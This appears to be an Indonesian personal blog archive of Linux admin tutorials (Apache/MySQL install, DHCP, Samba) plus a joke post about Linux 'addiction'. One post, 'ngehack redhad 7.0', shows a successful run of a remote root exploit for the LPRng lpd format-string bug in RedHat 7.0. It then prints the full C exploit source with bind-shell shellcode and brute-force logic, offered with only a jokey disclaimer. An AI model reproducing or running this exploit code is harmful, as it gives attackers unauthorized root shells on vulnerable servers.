install web server di ubuntu

25 05 2008

Instalasi web server Apache
# apt-get install apache2

Instalasi database server MySQL
# apt-get install mysql-server

Instalasi php untuk web server Apache
# apt-get install php5

Instalasi MySQL untuk Apache
# apt-get install libapache-mod-acct-mysql
# apt-get install php5-mysql





ngehack redhad 7.0

13 08 2007

menjelang tahun baru 2001, Redhat versi terbaru, yaitu RedHat 7.0 mendapat tamparan yang cukup kencang dari kelompok security netcat. kelompok ini membuat sebuah program yang mampu meng-exploit security bug yang terdapat pada lpd dimana pada bug ini memungkinkan remote user untuk mendapatkan root akses.
Berikut adalah percobaan yang telah dilakukan oleh pihak jasakom dalam menggunakan exploit yang telah di sebar luaskan pada security team di internet pada jam 3 pagi waktu indonesia. Pihak jasakom yang menggunakan RedHat 7.0 dengan port lpd yang terbuka melakukan exploit pada web server di lab jasakom. Pada bug yg obatnya ada di http://www.redhat.com/support/errata/RHSA-2000-065-06.html atau updatenya di ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm ftp://updates.redhat.com/7.0/SRPMS/LPRng-3.6.24-2.src.rpm
diperkirakan akan banyak dipakai oleh orang-orang tidak bertanggung jawab dalam melakukan deface ke web server.

Berikut adalah hasil percobaan dari pihak jasakom :
[root@localhost /test]# ls
SEClpd.c.txt SElpd SElpd.c saint
[root@localhost /test]# ./SElpd 127.0.0.1 -t 0
+++ www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 127.0.0.1
+++ Type: 0 – RedHat 7.0 – Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 127.0.0.1 with our format string
Argh exploit failed$#%! try brute force!

Percobaan pertama gagal, kemudian dilakukan exploit dengan menggunakan brute dan inilah hasilnya :

[root@localhost /test]# ./SElpd 127.0.0.1 brute -t 0
+++ www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 127.0.0.1
+++ Type: 0 – RedHat 7.0 – Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 127.0.0.1 with our format string
+++ Brute force man, relax and enjoy the ride ;>
+++ The eip_address is 0xbffff3d8

- [+] shell located on 127.0.0.1
- [+] Enter Commands at will

Linux localhost.localdomain 2.2.16-22 #1 Tue Aug 22 16:16:55 EDT 2000 i586 unkno
wn
uid=0(root) gid=7(lp)
ls       <- Bingo !!! anda telah berhasil
bin
boot
dev
etc
home
lib
lost+found
misc
mnt
opt
proc
root
sbin
test
tmp
usr
var
cd etc
ls
CORBA
DIR_COLORS
Muttrc
X11
adjtime
aliases
aliases.db
anacrontab
at.deny
auto.master
auto.misc
bashrc
cdrecord.conf
conf.linuxconf
cron.d
cron.daily
cron.hourly
cron.monthly
cron.weekly
crontab
csh.cshrc
csh.login
default
dhcpc
dhcpcd
dumpdates
enscript.cfg
esd.conf
exports
fdprm
filesystems
fnrc
fstab
ftpaccess
ftpconversions
ftpgroups
ftphosts
ftpusers
gettydefs
gnome
gpm-root.conf
group
group-
gshadow
gshadow-
gtk
gtk-2.0
host.conf
hosts
hosts.allow
hosts.deny
httpd
identd.conf
im
im_palette-small.pal
im_palette-tiny.pal
im_palette.pal
imrc
info-dir
init.d
initlog.conf
inittab
inputrc
ioctl.save
isapnp.gone
isdn
issue
issue.net
krb5.conf
lam
ld.so.cache
ld.so.conf
ldap.conf
lilo.conf
localtime
login.defs
logrotate.conf
logrotate.d
lpd.conf
lpd.perms
ltrace.conf
lynx.cfg
mail
mail.rc
mailcap
makedev.d
man.config
mc.global
mesa.conf
mgetty+sendfax
midi
mime-magic
mime-magic.dat
mime.types
minicom.users
modules.conf
motd
mtab
mtools.conf
my.conf
news
nmh
nsswitch.conf
odbc.ini
odbcinst.ini
openldap
opt
pam.d
pango
paper.config
passwd
passwd-
passwd.OLD
pbm2ppa.conf
pcmcia
php.ini
pine.conf
pine.conf.fixed
pluggerrc
pnm2ppa.conf
ppp
printcap
profile
profile.d
protocols
pwdb.conf
rc
rc.d
rc.local
rc.news
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d
redhat-release
resolv.conf
rmt
rpc
rpm
rpmlint
samba
sane.d
screenrc
securetty
security
sendmail.cf
sensors.conf
services
shadow-
shells
skel
smrsh
snmp
sound
squid
ssh
sysconfig
sysctl.conf
syslog.conf
termcap
updatedb.conf
uucp
wgetrc
xinetd.conf
xinetd.d
yp.conf
ypserv.conf
pwd             <- melihat direktory
/etc

Berikut adalah program yang digunakan. Semoga anda tidak melakukan hal-hal yang merusak denganya, karena pihak jasakom tidak bertanggung jawab atas code ini ;)

/*
*
* www.netcat.it Presents: LPRng/Linux remote root lpd exploit.
*
* NetCat.it – admin@netcat.it
*
* Please Sysadmin Patch your Box!
* Please RedHat.com, release a patch!
*
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*
* This exploit can be download from www.netcat.it
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000

char shellcode[] =

“\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80″
“\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8″
“\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89″
“\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0″
“\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd”
“\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9″
“\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75″
“\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08″
“\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh”;

struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};

struct target targets[] =
{
{ “RedHat 7.0 – Guinesss “, 0xbffff3ec, 0L, 300, 70, 2, },
{ “RedHat 7.0 – Guinesss-dev”, 0xbffff12c, 0L, 300, 70, 2, },
{
NULL, 0L, 0L, 0, 0, 0
}
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;

void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0×000000ff),
(unsigned int)((shellcode_addr & 0×0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0×00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};

memset (address_buffer, ”, sizeof(address_buffer));
memset (append_buffer, ”, sizeof(append_buffer));

for (i = 0; i < 4; i++)
{
while (copied > 0×100)
copied -= 0×100;

if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] – copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), “%.*s”,
(int)(num[i] – copied), “www.netcat.it”);
copied += (num[i] – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), “%%.%du”,
num[i] – copied);
copied += (num[i] – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i); }
} else {
tmp = ((num[i] + 0×100) – copied);
sprintf (append_buffer+strlen(append_buffer), “%%.%du”, tmp);
copied += ((num[i] + 0×100) – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i);
}

sprintf (address_buffer+strlen(address_buffer), “%c%c%c%c”,
(unsigned char) ((eip_addr+i) & 0×000000ff),
(unsigned char)(((eip_addr+i) & 0×0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0×00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}

while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, “X”);

#ifdef DEBUG
printf (”\nGeneration complete:\nAddress: “);
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (”.”);
printf (”%02x”, (unsigned char)address_buffer[i]);
}
printf (”\nAppend: %s\n”, append_buffer);
#endif

return;
}

char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;

memset (format_buffer, ”, sizeof(format_buffer));

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);

(void)snprintf (format_buffer, sizeof(format_buffer)-1, “%.*s%s”,
targets[type].align, “BBBB”, address_buffer);

strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);

for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, “\x90″);

strcat(format_buffer, shellcode);

return (format_buffer);
}

int connect_victim()
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];

static char testcmd[256] = “/bin/uname -a ; id ;\r\n”;

s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf (”— [5] Unable to create socket!\n”);
printf(”Exploit failed!\n”);
return -1;
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}

if(brute)

printf(”+++ The eip_address is 0x%x\n\n”, targets[type].eip_address);

printf(”- [+] shell located on %s\n”, hostname);
printf(”- [+] Enter Commands at will\n\n”);

failure = -1;

FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);

while(1) {

FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);

if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, “EOF\n”);
return 2;
}

if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,”EOF\n”);
return 2;
}

if(send(sockfd,buff,n,0)<0) break;

}
}
}

void send_code(char *exploit_buffer)
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = “/bin/uname -a ; id ;\r\n”;

s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf (”— [5] Unable to create socket!\n”);
printf(”Exploit failed!\n”);
exit(-1);
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf (”— [5] Unable to connect to %s\n”, hostname);
printf(”Exploit failed, %s is not running LPD!\n”, hostname);
exit(-1);
}

usleep(DELAY);

if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf (”Couldn’t write to socket %d”, sockfd);
printf (”Exploit failed\n”);
exit(2);
}

close(sockfd);
connect_victim();

}

void usage(char *program)
{

int i=0;

printf(”SEClpd by www.netcat.it ! \n\n”);
printf(”Usage: %s victim [\”brute\”] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n”, program);
printf(”ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n”);
printf(”ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n”);
printf(”Types:\n\n”);

while( targets[i].os_name != NULL)
printf (”[ Type %d: [ %s ]\n”, i++, targets[i].os_name);
}

int main(int argc, char **argv)
{

char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;

if(argc < 3)
{
usage(argv[0]);
return 1;
}

hostname = argv[1];

if(!strncmp(argv[2], “brute”, 5)) brute = 1;

while(( c = getopt (argc, argv, “t:r:c:a:o:p:w:k”))!= EOF){

switch (c)
{

case ‘t’:
type = atoi(optarg);
break;

case ‘r’:
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;

case ‘c’:
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;

case ‘a’:
targets[type].align = atoi(optarg);
break;

case ‘o’:
offset = atoi(optarg);
break;

case ‘p’:
targets[type].position = atoi(optarg);
break;

case ‘w’:
targets[type].written_bytes = atoi(optarg);
break;

default:
usage(argv[0]);
return 1;
}
}

if(type < 0)
{
printf(”You must specify a type!\n”);
printf(”example: ./SEClpd victim -t 0\n”);
return -1;
}

if ( (he = gethostbyname (hostname)) == NULL)
{
herror(”gethostbyname”);
exit(1);
}

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

printf(”+++ www.netcat.it remote exploit for LPRng/lpd \n\n”);

printf(”+++ Exploit information\n”);
printf(”+++ Victim: %s\n”, hostname);
printf(”+++ Type: %d – %s\n”, type, targets[type].os_name);
printf(”+++ Eip address: 0x%x\n”, targets[type].eip_address);
printf(”+++ Shellcode address: 0x%x\n”, targets[type].shellcode_address);
printf(”+++ Position: %d\n”, targets[type].position);
printf(”+++ Alignment: %d\n”, targets[type].align);
printf(”+++ Offset %d\n”, offset);
printf(”\n”);

printf(”+++ Attacking %s with our format string\n”, hostname);

if( brute > 0 )
{

printf(”+++ Brute force man, relax and enjoy the ride ;>\n”);
targets[type].eip_address = 0xbffffff0;

while(failure)

{
memset(exploit_buffer, ”, sizeof(exploit_buffer));

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, “\n”);
send_code(exploit_buffer);

targets[type].eip_address = 0xbffffff0 – offset;

offset+=4;

if (offset > OFFSET_LIMIT) {
printf(”+++ Offset limit hit, ending brute mode ;<\n”);
return -1;

}
}
}

else

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, “\n”);
send_code(exploit_buffer);

printf(”Argh exploit failed$#%! try brute force!\n”);

return (-1);

 





DHCP Config di Linux

27 07 2007

Manajemen IP address itu penting banget buat seorang admin jaringan. Dengan manajemen IP, seorang administrator dapat membatasi jumlah client yg terkoneksi dgn jaringannya.

DHCP server membagikan IP pada client2 yg ada dlm networknya sesuai rentang yg dikonfigurasikan. Untuk client yg harus menggunakan IP tertentu juga dapat di set di konfigurasinya.

Sekedar tips, kalo ga mau susah2 untuk membatasi IP client anda, pada subnetmask nya isikan dengan angka yg anda inginkan

IP –> 192.168.10.17 — 222.255.255.0 —-> angka nol disini memungkinkan adanya 254 user yg terkoneksi (IP 192.168.10.0 digunakan sebagai network ID jaringannya dan 192.168.10.255 sebagai broadcastnya)
Ganti segment terakhir pada subnetmask dgn angka sesuae jmlah client, rumusnya 254 dkurangi jumlah client
e.g: ada 62 client, maka 254 – 62 = 192 –> subnetmask anda 255.255.255.192

Namun cara diatas hanya untuk membatasi rentang IP saja, bukan untuk memberikan IP dinamis pada client. Untuk memberi IP pada client ya harus pake dhcp server.
Langkah² membuat DHCP server pada mesin RedHat Linux

1. Instal paket dhcpd.3.*.*.rpm ( * adl versi dhcpd nya)
2. buat file di direktori /etc dengan nama dhcpd.conf dengan teks editor yg anda sukai (saya pake vi yg dasar:))
3. Copy dan paste kan script di bawah ini :
ddns-update-style interim;
# Required for dhcp 3.0+ / Red Hat 8.0+
ignore client-updates;

subnet 192.168.1.0 netmask 255.255.255.0 { <== isikan subneting dan netmask network anda)
# Range of IP addresses to be issued to DHCP clients
range 192.168.1.128 192.168.1.254; <== IP yg akan digunakan oleh host (isikan sesuai jumlah client anda)
# Default subnet mask to be used by DHCP clients
option subnet-mask 255.255.255.0; <== isikan subnetmask network anda (sesuaikan juga dgn jmlh client)
# Default broadcastaddress to be used by DHCP clients
option broadcast-address 192.168.1.255; <== isikan broadcast network anda (broadcast adl IP maximal network anda ditambah 1)
# Default gateway to be used by DHCP clients
option routers 192.168.1.1; <=== isikan gateway server anda
option domain-name “your-domain.org”; <=== isikan domain anda (optional)
# Default DNS to be used by DHCP clients
option domain-name-servers 40.175.42.254, 40.175.42.253; <== dns server anda (optional)
option netbios-name-servers 192.168.1.100;

# (Optional. Specify if used on your network)
# DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
# option ipforwarding off;
# Amount of time in seconds that a client may keep the IP address <== waktu maximum penggunaan IP (jika melebihi maka harus request lagi)
default-lease-time 21600;
max-lease-time 43200;
# Eastern Standard Time
option time-offset -18000;
# Default NTP server to be used by DHCP clients
# option ntp-servers 192.168.1.1;
# option netbios-name-servers 192.168.1.1;
# — Selects point-to-point node (default is hybrid). Don’t change this unless you understand Netbios very well
# option netbios-node-type 2;
# We want the nameserver “ns2″ to appear at a fixed address.
# Name server with this specified MAC address will recieve this IP. <== jika ada komputer yg harus menggunakian IP tertentu isikan mac address NICnya disini dgn IP yg diinginkan

host ns2 {
next-server ns2.your-domain.com;
hardware ethernet 00:02:c3:d0:e5:83;
fixed-address 40.175.42.254;
}

# Laser printer obtains IP address via DHCP. This assures that the
# printer with this MAC address will get this IP address every time. <== untuk penggunaan printer jaringan

host laser-printer-lex1 {
hardware ethernet 08:00:2b:4c:a3:82;
fixed-address 192.168.1.120;
}
}

skrip di atas dpat anda temukan di /usr/share/doc/dhcp-3.X/dhcp.conf.sample

4. simpan dan keluarlah dari text editor anda
5. ketikkan perintah berikut pada konsole
# service dhcpd start
# /etc/rc.d/init.d/dhcpd configtest (gunakan /usr/sbin/dhcpd -f pada distro lain)
6. jika tidak ada pesan error maka anda sudah berhasil….tinggal clientnya dikonfigurasi
7. untuk melihat client yg merequest IP dan IP yg aktif lihat file /var/lib/dhcp/dhcpd.leases dengan text editor anda

selamat mencoba ya!!
:)





Mengatur DHCP Server di Ubuntu

27 07 2007

DHCP atau kepanjangan dari Dynamic Host Configuration Protocol. Sebenarnya kata Dynamic sudah dapat mewakili semuanya. Jika kita yang sudah familiar di Linux Networking mungkin dapat dengan mudah memahami maksud serta tujuan di buatnya DHCP Server.

Saya sendiri pada awalnya masih menerapkan Static Address untuk pengalamatan di kantor tempat saya bekerja. Tapi dengan bertambahnya jumlah PC, dan guna meningkatkan keamanan. Akhirnya DHCP memang dapat dijadikan alternatif yang sangat baik.

Dengan adanya DHCP Admin tidak perlu mengeset satu persatu komputer user dengan alamat yang statis. Biarlah DHCP-Server yang memberikan alamat sesuai dengan range yang diberikan. Dari sisi keamanan tentu saja konfigurasi ini lebih aman, karena user tidak akan dapat merubah IP secara manual, dan jika user sengaja merubah IP maka ia tidak akan dapat berkomunikasi secara jaringan.

Tutorial berikut saya coba uraikan dari konfigurasi yang saya pakai. Adapun tingkatannya adalah untuk BASIC User seperti saya. Adapun paket-paket yang diperlukan adalah :
-Operating System : Ubuntu Breezy Badger 5.10
- DHCP Server : DHCP3

Tahap Installasi dan Konfigurasi
Jika anda sudah mempunyai Box Ubuntu maka yang perlu anda lakukan adalah cukup menginstall paket DHCP saja. DHCP yang saya gunakan adalah DCP versi 3. untuk menginstallasinya jalankan perintah berikut :

# Sudo apt-get install dhcp3-server

tunggu sampai proses selesai, kemudian rubah konfigurasi file dhcp3-server pada direktori /etc/default/ dengan menjalankan perintah :
# Sudo Vi /etc/default/dhcp3-server

Cari baris yang berisi INTERFACES=”” kemudian rubah menjadi :

INTERFACES=”eth0″ (atau tergantung Ethernet mana yang akan anda gunakan, tetapi jika hanya terdapat 1 ethernet maka secara default ketikkan eth0)

Tahapan selanjutnya adalah merubah file dhcpd.conf yang terdapat pada direktori /etc/dhcp3, dengan menjalankan perintah berikut :
# Sudo Vi /etc/dhcp3/dhcpd.conf

Cari baris perintah :
# option definitions common to all supported networks…
option domain-name “example.org”;
option domain-name-servers ns1.example.org, ns2.example.org;

default-lease-time 600;
max-lease-time 7200;

Kemudian rubah menjadi :

# option definitions common to all supported networks…
#option domain-name “example.org”;
#option domain-name-servers ns1.example.org, ns2.example.org;

#default-lease-time 600;
#max-lease-time 7200;

Kemudian cari lagi baris perintah berikut :

# A slightly different configuration for an internal subnet.
#subnet 10.5.5.0 netmask 255.255.255.224 {
# range 10.5.5.26 10.5.5.30;
# option domain-name-servers ns1.internal.example.org;
# option domain-name “internal.example.org”;
# option routers 10.5.5.1;
# option broadcast-address 10.5.5.31;
# default-lease-time 600;
# max-lease-time 7200;
#}

Dan rubah menjadi :

# A slightly different configuration for an internal subnet.
subnet 192.168.0.0 netmask 255.255.255.0 { # Subnet merupakan range IP mana yang anda gunakan, pada contoh saya menggunakan range IP Kelas C
range 192.168.0.1 192.168.0.254; # Range ini merupakan jangkauan alamat IP yang digunakan, pada contoh saya menggunakan range IP kelas C dengan jangkauan alamat 1-254)
option domain-name-servers 202.188.0.133, 202.188.1.5; #DNS yang anda gunakan, tanda koma untuk memasukkan DNS secondary
option domain-name “micokelana.com”; #Nama dari DHCP Server
option routers 192.168.0.1; # Merupakan Gateway yang kita butuhkan untuk konek ke internet
option broadcast-address 192.168.0.255; # Merupakan alamat untuk Broadcast
default-lease-time 600;
max-lease-time 7200;
}

Jika anda menginginkan setiap user mendapatkan IP yang tetap, misalnya user 1 akan tetap mendapatkan IP 192.168.0.2, maka anda harus menambahkan perintah berikut :

Cari baris :
# Fixed IP addresses can also be specified for hosts. These addresses
# should not also be listed as being available for dynamic assignment.
# Hosts for which fixed IP addresses have been specified can boot using
# BOOTP or DHCP. Hosts for which no fixed address is specified can only
# be booted with DHCP, unless there is an address range on the subnet
# to which a BOOTP client is connected which has the dynamic-bootp flag
# set.
#host fantasia {
# hardware ethernet 08:00:07:26:c0:a5;
# fixed-address fantasia.fugue.com;
#}

Kemudian anda dapat mengkonfigurasi sesuai dengan jaringan ditempat anda,saya berikan contoh berikut :

host User1{
hardware ethernet 08:00:FE:26:c0:a5; # ketikkan MAC Address User1
fixed-address 192.168.0.2; # IP address User1
}

Dengan begitu User 1 akan selalu mendapatkan IP 192.168.0.2

Jangan lupa simpan konfigurasi yang anda buat, kemudian restart Server DHCP dengan perintah :
# Sudo /etc/init.d/dhcp-server restart

Langkah berikutnya anda tinggal menyesuaikan dengan jumlah komputer dan konfigurasi pada jaringan yang anda buat. Dan untuk bereksperimen anda dapat memperhatikan setiap baris pada file dhcpd.conf, secara keseluruhan file konfigurasi tersebut sudah memberikan penjelasan STEP by STEP.





Mengkonfigurasi samba server di Ubuntu 7.04

25 07 2007

Setelah selesai dengan installasi Ubuntu, ada kalanya kita membutuhkan fasilitas berbagi file (sharing file) antara linux server dengan Windows/Client PC lainnya dan juga sebaliknya, untuk tujuan berbagi file sebenarnya ada beberapa option yang dapat digunakan, diantaranya menggunakan webserver (http) ataupun ftp server, namun dengan alasan kemudahan  biasanya pilihan jatuh pada penggunaan samba.

Install samba applikasi

sudo apt-get install samba smbfs

Tampilkan shared folder yang ada dikomputer lain.

sudo smbclient -L //192.168.0.208
sudo smbclient -L //192.168.0.208 -U dede%mypassword -W ntdomain

Mount shared folder yang ada di komputer lain agar dapat diakses dari ubuntu server.

sudo mkdir /mnt/software
sudo smbmount //192.168.0.208/software /mnt/software -o username=”dede/ntdomain%mypassword”

Men-share folder linux server agar dapat diakses oleh Windows/Client

Untuk menshare agar folder yang ada pada linux server dapat diakses dari Windows atau computer client, yaitu dengan mengaktifkan samba, caranya pun cukup mudah yaitu:

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.org
sudo vi /etc/samba/smb.conf

Edit file smb.conf jika digunakan hanya untuk sharing folder cukup dengan mengkonfigurasi file smb.conf nya menjadi (Bagian yang ditebalkan adalah bagian yang saya ubah):

[global]
workgroup = NTDOMAIN
server string = %h server (Samba, Ubuntu)
obey pam restrictions = Yes
security = user
encrypt passwords = true

passdb backend = tdbsam
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\sUNIX\spassword:* %n\n *Retype\snew\sUNIX\spassword:* %n\n *password\supdated\ssuccessfully* .
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
dns proxy = No
panic action = /usr/share/samba/panic-action %d
invalid users = root
[homes]
comment = Home Directories
valid users = %S
read only = No
create mask = 0600
directory mask = 0700
browseable = No

[printers]
comment = All Printers
path = /var/spool/samba
create mask = 0700
printable = Yes
browseable = No
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers

Test apakah configuration file smb.conf yang kita edit tersebut sudah benar dan tidak terdapat kesalahan dalam penulisan.

sudo testparm

Keluaran yang ditampilkan jika tidak ada penulisan yang salah akan sama/serupa dengan yang diatas,lanjutkan dengan membuat user samba menggunakan smbpasswd dan jangan lupa untuk merestart samba server.

sudo smbpasswd -a dede
sudo /etc/init.d/samba restart

Note:
Pastikan anda telah membuat user linux (useradd …) dan user samba (smbpasswd -a …).

Contoh diatas adalah cara termudah, anda diharapkan untuk mencoba-coba setting yang tersedia, dan bisa dimulai dari default file smb.conf yang telah disediakan pada saat installasi samba. Untuk lebih detail dan mengetahui fungsi-fungsi akan lebih baik jika membaca manual booknya.





Hati-hati dengan pecandu Linux

20 07 2007

tulisan ini aku sadur dari Forum DPP IMMAnggapan Umum Masyarakat
Microsoft untuk kemudahan hidup.
Mungkin kamu berpikir “ah kalau gue iseng-iseng nyoba Linux, sekali aja..gue nggak bakal ketagihan!”
kenyataan membuktikan bahwa Sekali kamu mencoba Linux, kamu bisa ketagihan seumur hidup.
Jalan terbaik menghadapi godaan linux adalah dengan tidak mencobanya sama sekali.
Sekali kamu ketagihan, efek ketagihannya secara kejiwaan tidak akan hilang seumur hidup.
Sekali mencoba Linux, kamu terbelenggu seumur hidup.

Sudah terlalu banyak yang berawal dari coba-coba, menjadi ketagihan.
Mungkin kamu berpikir bahwa ‘nginstall Linux, bisa nolong gue mempelajari komputer!”,
kenyataan membuktikan bahwa Linux justru membuat komputer kelihatan lebih sulit !

Jalan terbaik menghadapi godaan linux adalah dengan tidak mencobanya sama sekali.
Seorang pecandu Linux tidak dapat berfikir secara normal dalam hidupnya (apa yang ada disekitarnya
akan dianggap gratis !!).
Linux akan mengacaukan perasaan kamu, bahkan akan memberikan pengaruh yang merusak bagi ortu, pacar dan orang-orang yang kamu sayangi dan juga pengaruh buruk bagi microsoft.
Seorang pecandu linux tidak mampu menghadapi kenyataan bahwa sebuah program dibuat dengan
susah payah dan seorang programmer berhak mendapatkan kompensasi yang pantas atas jerih payahnya.

Mungkin ada yang berkata ‘kan nggak semua jenis Linux berbahaya !” semua jenis Linux berbahaya mulai dari RedHat, Mandrake, Suse, Trustix, Slackware dan variannya.
Kesemuanya akan menyebabkan kamu menjadi Pusing-pusing (akibat zat kernel yang terdapat didalamnya), Kehilangan teman dan kehidupan sosial (akibat kelamaan nongkrong ngurusin linux),
Delusi (zat open source yang terkandung didalamnya membuat kamu merasa punya hak untuk mengetahui rahasia apa saja), Pecandu Mozilla (Kamu akan menjadi fanatik dengan Mozilla dan menganggap IE tidak ada apa-apanya),
PHP/Perl/MySQL Minded (kamu mulai tergiur dengan dunia internet programming dan melupakan ASP dan SQL Server), Apache Mania (kamu mulai ngefans dengan Apache Web Server dan secara perlahan meninggalkan IIS dan Personal Web Server),
Mungkin kamu berpikir, “Banyak orang keren dan selebrities/artis pake dan mendukung Linux, kenapa gue nggak nyoba ?” kenyataan membuktikan bahwa Mereka-mereka(IBM,Sun,Oracle) itu mendukung dan menggunakan linux hanya untuk tujuan bisnis
dan politik (menjatuhkan panglima tinggi Bill Gates). Selebrities/Artis yang menggunakan Linux dibayar, untuk memberikan kesan bahwa mereka mempunyai massa yang banyak.

Mereka-mereka itu adalah orang-orang yang tidak percaya diri dengan kekuatan mereka masing-masing, sehingga mereka sibuk menghimpun kekuatan bersama untuk menjatuhkan bill gates.
Mungkin kamu berpikir, “dengan menggunakan linux, kamu akan kelihatan jauh lebih hebat!”
kenyataan membuktikan bahwa “Linux tidak saja memberikan kesan kamu lebih expert dalam menguasai komputer, akan tetapi juga memberikan kesan bahwa pengguna microsoft jauh lebih bodoh dari pengguna linux!”
Mungkin kamu berpikir, “Dengan menggunakan linux, kamu bisa terbebas dari dakwaan dan ancaman pelanggaran Hukum”
kenyataan membuktikan bahwa “pengguna Linux pun bisa dibawa ke pengadilan apabila terbukti bersalah melanggar hukum (jadi jelas tidak ada diskriminasi hukum antara pemakai linux dan pemakai non-linux)”

Ciri-ciri Pengguna Linux
Ciri-ciri pecandu linux :
1. Berat Badan tidak berubah,
2. Pusing-pusing,
3. Keranjingan nonton film Anti-Trust!
4. Membenci Billgates dan Microsoft,
5. Pemuja Open Source,
6. Kantong cekak,
7. Mudah tersulut emosinya mendengar kata-kata “microsoft”.

